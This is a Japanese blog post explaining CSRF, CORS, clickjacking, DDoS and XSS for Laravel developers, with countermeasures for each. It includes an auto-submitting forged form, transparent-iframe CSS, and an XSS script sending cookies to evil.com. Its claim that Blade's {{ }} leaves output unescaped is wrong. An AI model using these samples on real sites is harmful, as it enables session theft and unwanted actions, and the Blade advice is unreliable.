# セキュリティの基礎
こんにちは。
都内のWeb系企業でエンジニアをしています。
普段はLaravelを使って開発していますが、セキュリティはつい後回しにされがちですよね。
「なんとなく知ってるけど説明できない」系のセキュリティワード、ちゃんと理解してますか?
この記事では、最低限知っておきたいWebセキュリティの基本を、CSRF・CORS・クリックジャッキングなど5つに絞ってざっくり解説します。
1. CSRF(クロスサイトリクエストフォージェリ)
CSRFとは何か?
偽サイトに誘導して、ユーザーが意図しないリクエストを送らせる攻撃。
**攻撃者が送るリクエストには「被害者のブラウザが持っているCookieが勝手に付いてしまう」**のがポイント。
攻撃の仕組み(ざっくり)
例えばこういう流れ:
-
ユーザーは ** example.com** にログインしている(ブラウザにセッションCookieが入っている)
-
攻撃者が作った偽サイトにアクセスする
-
偽サイトにはこういうHTMLが埋め込まれてる:
<form action="https://example.com/api/seminar/delete" method="POST"> <input type="hidden" name="seminar_id" value="999"> <input type="submit" value="送信"> </form> <script> document.forms[0].submit(); </script>
-
ユーザーがこのページを開くと、ブラウザが勝手にexample.com にPOSTリクエストを送ってしまう
-
このとき、ブラウザは
Cookie: session_id=xxxx
みたいに example.com のCookieを勝手に付与する
CSRF攻撃は ブラウザがCookieを勝手に付ける性質 を利用して起きる→ つまり「攻撃者のリクエストなのに、ユーザー本人の認証情報付きで送られる」
対策
①CSRFトークン
- サーバーがランダム文字列(CSRFトークン)をHTMLに埋め込む
- フォーム送信時にその値を一緒に送らせる
- トークンが正しいかチェックする
例(Laravel):
<meta name="csrf-token" content="{{ csrf_token() }}">
→ JSで送るならヘッダに付ける
$.ajaxSetup({
headers: {
'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content')
}
});
→正規なサイトでcsrfトークンが生成されるため、偽サイトからのPOSTリクエストは、不正なリクエストとして弾くことができる。
②SameSite Cookie
-
Cookie に以下を付与する
Set-Cookie: session_id=xxxx; SameSite=Strict
-
Strict にすると他サイトから送るリクエストにはCookieが付かない
③認証をCookieじゃなくTokenにする
- APIはBearer TokenやJWTで認証する
- Cookieを使わないから、ブラウザが勝手に付けるものが無くなる
2. CORS(クロスオリジンリソースシェアリング)
corsとは
「他のサイト(オリジン)から自分のサーバーへのリクエストを許すかどうかを制御する仕組み」
- CORSを許可しないと、ブラウザがAPI呼び出しをブロックする
- サーバー側で「どのオリジンを許可するか」を決める
- 認証付きのCookieを送るときは supports_credentials が true で、 allowed_origin は * にできない
-
ブラウザを経由した不正なクロスオリジンリクエストをブロックする
- CORSがなければブラウザが普通に結果を取れてしまう
- CORSがあると、レスポンスをJSから読むのが禁止される。
- CORSがブロックするのは レスポンスの読み取り。
- リクエスト自体は送られており、サーバー側にPOSTは届く、ブラウザはレスポンスをJSに渡さない。
- JSでAPI叩くときはブラウザが勝手にCORSをチェックする
fetch('https://example.com/api/secret')
つまりCORSは「ブラウザからAPIを安全に呼ぶための仕組み」であって、JS専用というよりブラウザ限定の話。
Node.js, curl, Postman, PHP, Guzzle とかは一切気にしない。
- Node.js の fetch
- PHP の Guzzle
- Postman の API コール
- curl
設定方法
laravelなら middleware に設定するだけ:
// app/Http/Kernel.ph
\Fruitcake\Cors\HandleCors::class,
設定例(config/cors.php
):
'paths' => ['api/*'],
'allowed_origins' => ['https://client.com'],
'allowed_methods' => ['GET', 'POST'],
'allowed_headers' => ['*'],
'supports_credentials' => true,
多数のクライアントからapiリクエストされる場合の対処法
① 認証をトークンにする(ベストプラクティス)
- JWT や API トークンを発行
- どのオリジンでも叩けるけど、トークンが無いとAPIは使えないという設計にする
例:
Access-Control-Allow-Origin: *
JS側では:
fetch('https://api.example.com/data', {
headers: {
'Authorization': 'Bearer YOUR_TOKEN'
}
});
② 動的CORS
- 許可するオリジンを DBや設定ファイルで管理
- リクエストヘッダの
Origin
を見て判別
$origin = $request->headers->get('Origin');
if (AllowedOrigin::where('url', $origin)->exists()) {
return response($data)
->header('Access-Control-Allow-Origin', $origin)
->header('Access-Control-Allow-Credentials', 'true');
}
③ API Gatewayを使う
- AWS API Gateway などを使うと、CORS設定を管理しやすい
- マネージドだからオリジンをまとめて管理可能
3. クリックジャッキング
iframeを透明にして重ね、ユーザーが別の操作をしていると思い込んでいるのに、裏では本物のボタンやリンクを押させる攻撃です。
前提として、iframeを埋め込むとなると、youtubeのiframeタグとか動画のイメージが強いですが、実際は動画のみならず、様々なページをiframe化できて、他サイトで埋め込むことができます。
例えば、偽サイトで偽のボタンを置いて、その上に本物のiframe(送金ボタン)を透明にして重ねる。ユーザーが偽ボタンを押したつもりが、実際は本物の送金ボタンを押してしまうといった感じです。
クリックジャッキングの手口
-
偽のページを作る
-
本物サイトをiframeで読み込む
-
CSSで iframe を透明にする
iframe { opacity: 0; pointer-events: auto; }
-
ボタンの位置をピッタリ重ねる
→ ユーザーは 本物を押してると気づかない。
- あくまでユーザーが銀行サイトにログインしてる前提。同じ場所(本物サイトも偽サイトも銀行のアプリケーションへリクエストする)に対してリクエストする場合、ブラウザが自動的にリクエストに下記を含めて送る。
- 本物の inputの 値
- 本物の CSRFトークン
- 本物のセッションCookie
クリックジャッキングの例
- 勝手にとある投稿のフォローやシェアを押させる
- とあるサイトのアカウント削除ボタンを押させる
- ネットバンキングの送金操作を勝手にさせる
クリックジャッキングの対策
基本的には自社サイトのページをiframeとして読み込まれるのを許可するサイトを制限する。
-
X-Frame-Optionsヘッダを設定する
-
SAMEORIGIN
→ 同一ドメインのみ許可 -
DENY
→ 全て拒否
-
-
CSPヘッダを設定する
-
Content-Security-Policy で
frame-ancestors
を設定
例:パートナー企業だけが埋め込み可能にしたかったため、CSPのframe-ancestors
に特定のオリジンを列挙。(自身のサイトとhttps://partner.comのみで埋め込み可能にする)Content-Security-Policy: frame-ancestors 'self' https://partner.com;
-
-
UI制御
- 「本当に送金しますか?」という確認ダイアログを出すことで、アプリをインストールするつもりだったユーザーは異変に気づく。
-
Token 認証
- Cookie を使わず、Bearerトークンで認証
-
Cookie に SameSite 属性を付ける
- 正規サイト以外からのリクエストに Cookie が付かない
4. DDoS攻撃
大量のリクエストを送りつけて、サーバーをパンクさせる攻撃。
- 大量のiframe読み込みで同時アクセス爆発
- 同時に API 叩きまくる → DB 負荷急増
対策
-
レートリミット
- 単位時間あたりのリクエスト数を制限
- レートリミットは基本的にip単位の制限だが、DDoSは botネット数万台から来るので IPベースのリミットが突破される
Route::middleware(['throttle:60,1'])->group(function () { // ここにルート定義 });
-
埋め込みドメインのホワイトリスト化
-
キャッシュを強化
一度だけ埋め込み先のドメインが無制限だった時期があり、海外から不正アクセスが激増。
CDNでキャッシュを強化しつつ、iframeのsrcにAPIキー必須化を実装して対処しました。
-
CDNを使う
- Cloudflare、Akamai など
- DDoS攻撃をCDNでブロック
- キャッシュが効くページはCDN側で捌く
- **iframe埋め込みサービスなら必須で、**動画とか画像はCDN経由にしておかないと死ぬ。
-
WAF(Web Application Firewall)
- 不審なパターンをブロック
- SQLインジェクションやXSS検知も兼ねる
-
Connection Limit / 同時接続数制
- 単位時間のリクエスト数だけじゃなく、同時接続数も制限
- nginxなら:
limit_conn_zone $binary_remote_addr zone=addr:10m; limit_conn addr 20;
-
APIキー導入
iframeの埋め込みURLにAPIキー必須にする
→ 不正にiframeを埋め込まれるリスクを下げる
5. XSS(クロスサイトスクリプティング)
Webサイトの脆弱性を利用して、攻撃者が悪意のあるスクリプトをWebページに埋め込み、ユーザーのブラウザ上で実行させるサイバー攻撃の一種
フォームに悪意あるscriptタグ含まれて送信された場合、実行すると、ログインCookie やトークンが盗まれる
<script>
fetch("https://evil.com/steal?cookie=" + document.cookie);
</script>
XSSの対策
- Laravelなら
e()
でエスケープ
NG:<p>お名前:{{ $name }}</p>
OK:<p>お名前:{{ e($name) }}</p>
タグは実行されず、文字列として表示される
<p>お名前:<script>alert('XSS')</script></p>
-
リクエストされた入力値はバリデーションもかける
- 長すぎる文字列を弾く
- 制御文字を除去する
-
CSPヘッダでscritp-srcを設定する
- unsafe-inlineを禁止すると、inline script(インラインスクリプト)が実行されなくなる。
NG:Content-Security-Policy: script-src 'self' 'unsafe-inline' OK:Content-Security-Policy: script-src 'self’
今回は、実際に業務で遭遇しやすいWebセキュリティの落とし穴を中心に整理しました。
改めて整理するきっかけになれば幸いです。
Discussion